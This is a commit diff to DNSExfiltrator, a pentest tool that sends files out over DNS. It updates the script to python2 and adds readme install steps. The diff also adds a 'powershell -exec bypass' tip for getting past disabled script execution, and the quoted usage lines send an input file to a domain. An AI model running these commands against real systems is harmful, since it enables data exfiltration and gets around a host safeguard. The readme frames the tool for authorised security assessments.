Added Commads to make the python script be able to run on modern systems that don't have python2 by default.

dnsexfiltrator.py

@@ -1,4 +1,4 @@
-#!/usr/bin/python
+#!/usr/bin/python2
 # -*- coding: utf8 -*-
 import argparse
 import socket
@@ -220,4 +220,4 @@ def color(string, color=None):
 		pass
 	finally:
 		print color("[!] Stopping DNS Server")
-		udps.close()
+		udps.close()

readme.md

@@ -40,6 +40,21 @@ The only dependency is on the server side, as the `dnsexfiltrator.py` script rel
 pip install -r requirements.txt
 ```
 
+This python script is written in python2. If you are using any new system that does not have python2 installed, you must install it using the following commands:
+
+Install python2
+```
+sudo apt install python2
+```
+Install pip for python2
+```
+sudo apt install python-pip
+```
+Install dnslib (library) for python2 environment
+```
+sudo pip2 install -r requirements.txt
+```
+
 Usage
 ----------------------
 
@@ -80,6 +95,11 @@ PS c:\DNSExfiltrator> Invoke-DNSExfiltrator -i inputFile -d mydomain.com -p pass
 Check the EXAMPLES section in the script file for further usage examples.
 <img src="https://dl.dropboxusercontent.com/s/067lffd4s45esmu/dnsExfiltrator_02.jpg?dl=0" width="900">
 
+Note: If you get an error while Importing the Module saying that the module "cannot be loaded because running scripts is disabled on this system", restart powershell using:
+```
+powershell -exec bypass
+```
+
 3/ Using the JScript script, pass it the exact same arguments as you would with the standalone Windows executable:
 ```
 cscript.exe dnsExiltrator.js inputFile mydomain.com password
@@ -103,4 +123,4 @@ This tool is intended to be used in a legal and legitimate way only:
   - on systems you've been officially and legitimately entitled to perform some security assessments (pentest, security audits)
 
 Quoting Empire's authors:
-*There is no way to build offensive tools useful to the legitimate infosec industry while simultaneously preventing malicious actors from abusing them.*
+*There is no way to build offensive tools useful to the legitimate infosec industry while simultaneously preventing malicious actors from abusing them.*